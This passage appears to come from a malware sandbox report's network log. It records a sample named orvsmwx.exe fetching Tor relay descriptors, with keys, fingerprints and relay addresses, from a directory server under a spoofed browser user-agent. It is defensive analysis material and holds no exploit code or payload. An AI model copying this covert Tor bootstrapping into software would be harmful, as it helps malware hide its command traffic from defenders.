Dec 11, 2022 09:25:06.361675024 CET	15	IN	Data Raw: 20 5b 32 61 30 33 3a 65 36 30 30 3a 31 30 30 3a 3a 37 33 5d 3a 38 30 38 30 0a 73 20 45 78 69 74 20 46 61 73 74 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 56 61 6c 69 64 0a 76 20 54 6f 72 20 30 2e 34 2e 38 2e 30 2d 61 6c 70 68 61 2d 64 65 76 Data Ascii: [2a03:e600:100::73]:8080s Exit Fast Running Stable Validv Tor 0.4.8.0-alpha-devpr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=27000p accept 8
Dec 11, 2022 09:25:06.361717939 CET	17	IN	Data Raw: 4d 70 4f 73 50 77 4c 6e 4b 7a 4e 73 6a 64 6b 4d 51 20 32 30 32 32 2d 31 32 2d 31 30 20 32 30 3a 34 36 3a 30 32 20 31 39 39 2e 32 34 39 2e 32 33 30 2e 31 30 33 20 34 34 33 20 30 0a 61 20 5b 32 36 32 30 3a 37 3a 36 30 30 31 3a 3a 31 30 33 5d 3a 38 Data Ascii: MpOsPwLnKzNsjdkMQ 2022-12-10 20:46:02 199.249.230.103 443 0a [2620:7:6001::103]:80s Exit Fast Guard HSDir Running Stable V2Dir Validv Tor 0.4.7.10pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth
Dec 11, 2022 09:25:06.361759901 CET	18	IN	Data Raw: 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 Data Ascii: =1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=24000p accept 20-21,43,53,79-81,88,110,143,220,389,443,464,531,543-544,554,636,706,749,873,902-904,981,989-993,995,1194,1220,1293,1500,153
Dec 11, 2022 09:25:06.361803055 CET	19	IN	Data Raw: 2e 37 2e 37 0a 70 72 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c Data Ascii: .7.7pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=110p reject 1-65535r effiorg1984 AMzmqE5tY6GkLhBYObyO1dSxZmk 8OYcUi8kTKuY2BCX2ZaZN/s9v9w 202
Dec 11, 2022 09:25:06.381867886 CET	21	IN	Data Raw: 33 20 35 2e 39 2e 35 36 2e 32 34 39 20 34 30 38 30 20 30 0a 61 20 5b 32 61 30 31 3a 34 66 38 3a 31 36 31 3a 35 32 63 62 3a 3a 32 5d 3a 34 30 38 30 0a 73 20 46 61 73 74 20 48 53 44 69 72 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 56 32 44 69 Data Ascii: 3 5.9.56.249 4080 0a [2a01:4f8:161:52cb::2]:4080s Fast HSDir Running Stable V2Dir Validv Tor 0.4.7.10pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Band

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.3	49745	84.144.111.46	9031	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:42.918173075 CET	7845	OUT	GET /tor/server/fp/38cc95a8ce92a591d4a5779359beffba13fa1b88 HTTP/1.0 Host: 84.144.111.46 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:42.964994907 CET	7848	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:28 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:28 GMT Data Raw: 72 6f 75 74 65 72 20 54 79 6b 52 65 6c 61 79 30 32 20 39 35 2e 32 31 36 2e 31 30 31 2e 32 34 37 20 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 55 72 41 55 32 49 64 6d 61 4e 62 69 6d 47 58 76 61 35 4e 53 6f 72 42 36 6a 7a 6b 4c 37 77 4d 62 36 6c 57 71 49 57 63 35 2f 74 37 37 4e 57 41 51 41 67 42 41 44 4f 35 49 68 73 0a 61 79 4f 70 57 69 31 62 2f 68 67 65 55 51 74 4b 63 51 34 78 4f 4b 66 79 57 6f 56 4f 54 64 70 2f 39 74 78 33 77 4b 77 55 76 77 47 6a 6c 64 4c 39 49 72 7a 50 77 66 62 76 68 4e 4b 37 30 35 69 47 0a 72 78 79 78 6c 2b 66 4d 69 67 47 4b 54 74 39 30 78 6f 44 76 76 46 51 31 50 51 6f 4a 2b 4b 2b 35 42 78 50 48 54 33 71 49 4d 2f 32 50 73 65 44 41 6a 47 44 35 4e 4b 76 65 35 67 41 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 7a 75 53 49 62 47 73 6a 71 56 6f 74 57 2f 34 59 48 6c 45 4c 53 6e 45 4f 4d 54 69 6e 38 6c 71 46 54 6b 33 61 66 2f 62 63 64 38 41 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 31 3a 34 66 39 3a 32 62 3a 31 35 31 66 3a 39 35 3a 32 31 36 3a 31 30 31 3a 32 34 37 5d 3a 34 34 33 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 46 72 65 65 42 53 44 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 30 20 32 30 3a 34 37 3a 31 34 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 33 38 43 43 20 39 35 41 38 20 43 45 39 32 20 41 35 39 31 20 44 34 41 35 20 37 37 39 33 20 35 39 42 45 20 46 46 42 41 20 31 33 46 41 20 31 42 38 38 0a 75 70 74 69 6d 65 20 33 30 36 30 30 33 36 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 32 39 36 34 31 31 31 34 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 44 35 43 39 37 35 32 36 43 30 43 33 43 46 38 46 41 34 39 44 43 39 38 30 37 39 45 33 33 41 35 38 35 35 39 45 45 45 33 44 20 61 74 4d 42 48 32 52 33 36 36 72 76 5a 74 59 6c 71 6c 79 58 62 32 34 6c 37 4a 6f 62 47 44 69 35 4a 51 65 67 39 61 43 70 73 54 30 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 45 46 49 58 78 51 6c 6f 6f 73 51 54 69 48 52 32 48 33 42 76 31 77 4b 68 74 37 38 76 69 34 50 64 38 30 33 70 4e 32 6a 6b 6f 74 78 4c 77 74 66 46 4a 76 49 50 4a 78 0a 52 38 53 32 71 72 31 6a 55 53 6b 59 61 31 56 6b 31 52 52 70 6f 39 79 5a 50 6d 72 63 77 39 54 6d 6c 78 4d 78 75 34 55 4d 44 30 4e 58 6b 36 72 6e 77 61 5a 49 72 36 30 71 79 41 63 50 64 6e 70 34 0a 48 31 50 55 4b 54 77 4a 34 4b 75 6d 49 38 6b 37 34 69 6a 34 43 6c 52 62 38 6b 37 48 73 46 6b 51 6f 62 4a 31 43 2b 4d 61 59 56 53 68 53 32 37 66 49 49 6f 78 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 Data Ascii: router TykRelay02 95.216.101.247 443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxUrAU2IdmaNbimGXva5NSorB6jzkL7wMb6lWqIWc5/t77NWAQAgBADO5IhsayOpWi1b/hgeUQtKcQ4xOKfyWoVOTdp/9tx3wKwUvwGjldL9IrzPwfbvhNK705iGrxyxl+fMigGKTt90xoDvvFQ1PQoJ+K+5BxPHT3qIM/2PseDAjGD5NKve5gA=-----END ED25519 CERT-----master-key-ed25519 zuSIbGsjqVotW/4YHlELSnEOMTin8lqFTk3af/bcd8Aor-address [2a01:4f9:2b:151f:95:216:101:247]:443platform Tor 0.4.7.10 on FreeBSDproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-10 20:47:14fingerprint 38CC 95A8 CE92 A591 D4A5 7793 59BE FFBA 13FA 1B88uptime 3060036bandwidth 1073741824 1073741824 29641114extra-info-digest D5C97526C0C3CF8FA49DC98079E33A58559EEE3D atMBH2R366rvZtYlqlyXb24l7JobGDi5JQeg9aCpsT0onion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALEFIXxQloosQTiHR2H3Bv1wKht78vi4Pd803pN2jkotxLwtfFJvIPJxR8S2qr1jUSkYa1Vk1RRpo9yZPmrcw9TmlxMxu4UMD0NXk6rnwaZIr60qyAcPdnp4H1PUKTwJ4KumI8k74ij4ClRb8k7HsFkQobJ1C+MaYVShS27fIIoxAgMBAAE=-----END RSA PUBLIC KEY-----signing

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.3	49746	84.144.111.46	9031	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:43.300738096 CET	7854	OUT	GET /tor/server/fp/45bc9917f7e13770736bbffc22e6f170e14e16ec HTTP/1.0 Host: 84.144.111.46 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:43.347373962 CET	7855	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:28 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:28 GMT Data Raw: 72 6f 75 74 65 72 20 47 61 6c 61 78 79 4e 65 77 73 52 61 64 69 6f 20 38 34 2e 36 32 2e 32 34 35 2e 36 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 55 78 41 56 62 73 31 50 49 30 56 44 45 46 55 7a 35 35 66 52 66 78 68 2b 37 4d 47 4e 72 41 35 74 35 61 4e 33 49 65 73 47 66 73 55 71 78 51 41 51 41 67 42 41 42 42 51 48 4b 77 0a 4d 38 49 47 67 51 39 64 4b 32 52 34 4e 4d 67 7a 73 4c 7a 2f 6f 6e 78 33 46 51 49 74 75 78 52 76 69 4d 74 36 48 57 68 53 4b 63 6f 6a 36 65 77 45 6c 4e 6e 61 50 34 59 6f 45 53 4d 7a 64 6d 76 73 0a 4b 55 72 72 7a 59 65 4c 65 6a 77 33 33 70 55 48 38 71 4b 43 70 72 6f 41 37 33 58 6d 2b 64 52 79 44 38 53 32 72 36 2b 46 53 72 6b 76 43 77 55 75 78 74 41 6b 50 41 35 31 62 51 55 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 51 55 42 79 73 44 50 43 42 6f 45 50 58 53 74 6b 65 44 54 49 4d 37 43 38 2f 36 4a 38 64 78 55 43 4c 62 73 55 62 34 6a 4c 65 68 30 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4f 70 65 6e 42 53 44 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 31 3a 31 34 3a 34 37 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 34 35 42 43 20 39 39 31 37 20 46 37 45 31 20 33 37 37 30 20 37 33 36 42 20 42 46 46 43 20 32 32 45 36 20 46 31 37 30 20 45 31 34 45 20 31 36 45 43 0a 75 70 74 69 6d 65 20 31 32 39 37 39 34 0a 62 61 6e 64 77 69 64 74 68 20 32 30 34 38 30 30 30 20 34 30 39 36 30 30 30 20 32 33 35 34 36 36 32 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 44 35 35 35 45 35 42 33 38 32 30 38 46 33 42 35 34 43 39 34 36 36 33 42 44 41 34 42 42 41 39 45 41 34 36 38 38 39 35 33 20 46 6b 7a 77 47 61 56 66 32 64 33 57 75 4a 35 31 35 38 67 47 47 5a 38 49 46 6e 37 38 30 6c 70 48 34 55 42 48 47 51 52 6c 79 4b 6f 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 59 39 51 49 68 2f 79 69 58 64 4a 51 31 79 51 58 64 6a 53 6f 6e 68 54 6b 6a 41 67 58 4d 34 58 7a 6e 38 75 78 77 79 44 73 4e 7a 65 57 6a 31 54 5a 45 54 36 5a 57 5a 0a 6c 32 47 52 4b 41 4e 46 77 46 53 56 52 49 63 6d 69 34 33 75 75 63 54 69 43 7a 48 31 65 72 53 72 57 30 6b 52 4a 62 65 62 4a 65 4a 68 43 35 77 69 74 51 52 76 4a 49 63 6b 75 79 49 4f 74 37 30 64 0a 43 68 76 31 36 6b 77 55 4a 4d 69 63 7a 79 44 70 59 2f 77 37 5a 6c 32 76 43 6c 6a 59 69 6e 79 33 73 4b 57 42 70 58 41 35 5a 41 61 2b 79 4e 75 70 67 42 6e 35 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 42 46 39 45 44 68 4c 53 Data Ascii: router GalaxyNewsRadio 84.62.245.6 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxUxAVbs1PI0VDEFUz55fRfxh+7MGNrA5t5aN3IesGfsUqxQAQAgBABBQHKwM8IGgQ9dK2R4NMgzsLz/onx3FQItuxRviMt6HWhSKcoj6ewElNnaP4YoESMzdmvsKUrrzYeLejw33pUH8qKCproA73Xm+dRyD8S2r6+FSrkvCwUuxtAkPA51bQU=-----END ED25519 CERT-----master-key-ed25519 QUBysDPCBoEPXStkeDTIM7C8/6J8dxUCLbsUb4jLeh0platform Tor 0.4.7.10 on OpenBSDproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 01:14:47fingerprint 45BC 9917 F7E1 3770 736B BFFC 22E6 F170 E14E 16ECuptime 129794bandwidth 2048000 4096000 2354662extra-info-digest D555E5B38208F3B54C94663BDA4BBA9EA4688953 FkzwGaVf2d3WuJ5158gGGZ8IFn780lpH4UBHGQRlyKoonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALY9QIh/yiXdJQ1yQXdjSonhTkjAgXM4Xzn8uxwyDsNzeWj1TZET6ZWZl2GRKANFwFSVRIcmi43uucTiCzH1erSrW0kRJbebJeJhC5witQRvJIckuyIOt70dChv16kwUJMiczyDpY/w7Zl2vCljYiny3sKWBpXA5ZAa+yNupgBn5AgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALBF9EDhLS

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.3	49747	84.144.111.46	9031	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:43.471806049 CET	7858	OUT	GET /tor/server/fp/38e73023a9792cdb8adcd4d1b2a220effe8d8ff5 HTTP/1.0 Host: 84.144.111.46 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:43.516797066 CET	7860	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:29 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:29 GMT Data Raw: 72 6f 75 74 65 72 20 61 6c 70 68 61 31 33 37 20 37 30 2e 33 34 2e 31 39 34 2e 31 38 39 20 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 5a 56 41 56 54 66 5a 64 74 58 6d 6f 41 30 49 39 55 38 77 78 48 49 64 5a 33 69 63 68 55 7a 74 2f 70 35 4c 50 33 72 53 6a 72 55 71 2f 61 73 41 51 41 67 42 41 43 2b 6f 61 2f 75 0a 50 51 33 57 34 4f 48 6b 49 76 37 79 2f 2f 52 32 7a 6f 36 39 44 37 6b 4f 74 67 42 43 55 77 33 73 50 65 66 55 70 2b 52 31 66 65 33 78 2b 69 65 46 49 46 66 2b 67 78 4f 75 6c 74 57 63 45 55 61 41 0a 77 53 56 42 78 69 6f 55 47 77 71 33 35 32 4d 63 79 76 65 33 67 58 50 43 56 32 73 37 61 53 77 50 61 79 57 6a 68 72 47 57 52 78 78 2f 76 54 61 50 6e 46 63 62 55 56 66 4a 66 67 67 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 76 71 47 76 37 6a 30 4e 31 75 44 68 35 43 4c 2b 38 76 2f 30 64 73 36 4f 76 51 2b 35 44 72 59 41 51 6c 4d 4e 37 44 33 6e 31 4b 63 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 61 30 35 3a 66 34 38 30 3a 32 30 30 30 3a 32 66 66 64 3a 35 34 30 30 3a 34 66 66 3a 66 65 32 37 3a 62 34 34 62 5d 3a 34 34 33 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 31 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 33 3a 35 32 3a 31 34 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 33 38 45 37 20 33 30 32 33 20 41 39 37 39 20 32 43 44 42 20 38 41 44 43 20 44 34 44 31 20 42 32 41 32 20 32 30 45 46 20 46 45 38 44 20 38 46 46 35 0a 75 70 74 69 6d 65 20 36 34 38 30 35 35 0a 62 61 6e 64 77 69 64 74 68 20 32 38 36 37 32 30 30 20 36 31 34 34 30 30 30 20 33 30 35 37 34 30 38 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 35 45 36 33 34 39 43 35 46 32 34 35 35 34 45 44 39 43 42 38 34 31 42 42 39 44 39 32 31 46 32 41 33 39 30 30 36 43 32 42 20 75 50 69 59 50 77 6f 66 33 51 4c 47 2f 6c 46 4d 59 5a 79 5a 45 47 75 57 75 6f 52 57 57 34 74 43 41 66 6b 2b 49 47 38 55 41 50 51 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 58 4b 46 6c 67 30 44 33 62 6a 71 73 41 43 44 34 78 77 41 54 35 59 43 78 78 65 42 4c 54 31 4f 49 73 42 7a 66 32 79 50 42 69 44 37 33 33 64 48 41 36 71 42 75 51 70 0a 67 77 61 6e 2f 42 75 4e 61 71 30 6b 74 39 71 35 30 58 39 36 42 42 58 30 6c 37 73 6c 37 6a 61 70 78 39 2f 50 76 67 64 4d 30 2b 59 74 4f 55 74 48 61 71 4c 41 35 79 68 50 66 52 42 48 58 2b 31 4e 0a 4d 65 2b 6b 59 51 69 46 74 64 44 55 57 49 49 7a 4c 74 49 6f 74 44 34 77 67 4b 4a 4c 6d 66 36 4c 6b 53 4e 63 38 47 53 66 54 5a 4b 32 70 74 53 52 36 4f 6d 6e 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d Data Ascii: router alpha137 70.34.194.189 443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxZVAVTfZdtXmoA0I9U8wxHIdZ3ichUzt/p5LP3rSjrUq/asAQAgBAC+oa/uPQ3W4OHkIv7y//R2zo69D7kOtgBCUw3sPefUp+R1fe3x+ieFIFf+gxOultWcEUaAwSVBxioUGwq352Mcyve3gXPCV2s7aSwPayWjhrGWRxx/vTaPnFcbUVfJfgg=-----END ED25519 CERT-----master-key-ed25519 vqGv7j0N1uDh5CL+8v/0ds6OvQ+5DrYAQlMN7D3n1Kcor-address [2a05:f480:2000:2ffd:5400:4ff:fe27:b44b]:443platform Tor 0.4.7.11 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-12-11 03:52:14fingerprint 38E7 3023 A979 2CDB 8ADC D4D1 B2A2 20EF FE8D 8FF5uptime 648055bandwidth 2867200 6144000 3057408extra-info-digest 5E6349C5F24554ED9CB841BB9D921F2A39006C2B uPiYPwof3QLG/lFMYZyZEGuWuoRWW4tCAfk+IG8UAPQonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMXKFlg0D3bjqsACD4xwAT5YCxxeBLT1OIsBzf2yPBiD733dHA6qBuQpgwan/BuNaq0kt9q50X96BBX0l7sl7japx9/PvgdM0+YtOUtHaqLA5yhPfRBHX+1NMe+kYQiFtdDUWIIzLtIotD4wgKJLmf6LkSNc8GSfTZK2ptSR6OmnAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.3	49748	84.144.111.46	9031	C:\ProgramData\prfxiau\orvsmwx.exe

Timestamp	kBytes transferred	Direction	Data
Dec 11, 2022 09:26:43.868915081 CET	7866	OUT	GET /tor/server/fp/45bc9917f7e13770736bbffc22e6f170e14e16ec HTTP/1.0 Host: 84.144.111.46 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Dec 11, 2022 09:26:43.934664965 CET	7867	IN	HTTP/1.0 200 OK Date: Sun, 11 Dec 2022 08:26:29 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.51 Content-Encoding: identity Expires: Tue, 13 Dec 2022 08:26:29 GMT Data Raw: 72 6f 75 74 65 72 20 47 61 6c 61 78 79 4e 65 77 73 52 61 64 69 6f 20 38 34 2e 36 32 2e 32 34 35 2e 36 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 55 78 41 56 62 73 31 50 49 30 56 44 45 46 55 7a 35 35 66 52 66 78 68 2b 37 4d 47 4e 72 41 35 74 35 61 4e 33 49 65 73 47 66 73 55 71 78 51 41 51 41 67 42 41 42 42 51 48 4b 77 0a 4d 38 49 47 67 51 39 64 4b 32 52 34 4e 4d 67 7a 73 4c 7a 2f 6f 6e 78 33 46 51 49 74 75 78 52 76 69 4d 74 36 48 57 68 53 4b 63 6f 6a 36 65 77 45 6c 4e 6e 61 50 34 59 6f 45 53 4d 7a 64 6d 76 73 0a 4b 55 72 72 7a 59 65 4c 65 6a 77 33 33 70 55 48 38 71 4b 43 70 72 6f 41 37 33 58 6d 2b 64 52 79 44 38 53 32 72 36 2b 46 53 72 6b 76 43 77 55 75 78 74 41 6b 50 41 35 31 62 51 55 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 51 55 42 79 73 44 50 43 42 6f 45 50 58 53 74 6b 65 44 54 49 4d 37 43 38 2f 36 4a 38 64 78 55 43 4c 62 73 55 62 34 6a 4c 65 68 30 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4f 70 65 6e 42 53 44 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 32 2d 31 31 20 30 31 3a 31 34 3a 34 37 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 34 35 42 43 20 39 39 31 37 20 46 37 45 31 20 33 37 37 30 20 37 33 36 42 20 42 46 46 43 20 32 32 45 36 20 46 31 37 30 20 45 31 34 45 20 31 36 45 43 0a 75 70 74 69 6d 65 20 31 32 39 37 39 34 0a 62 61 6e 64 77 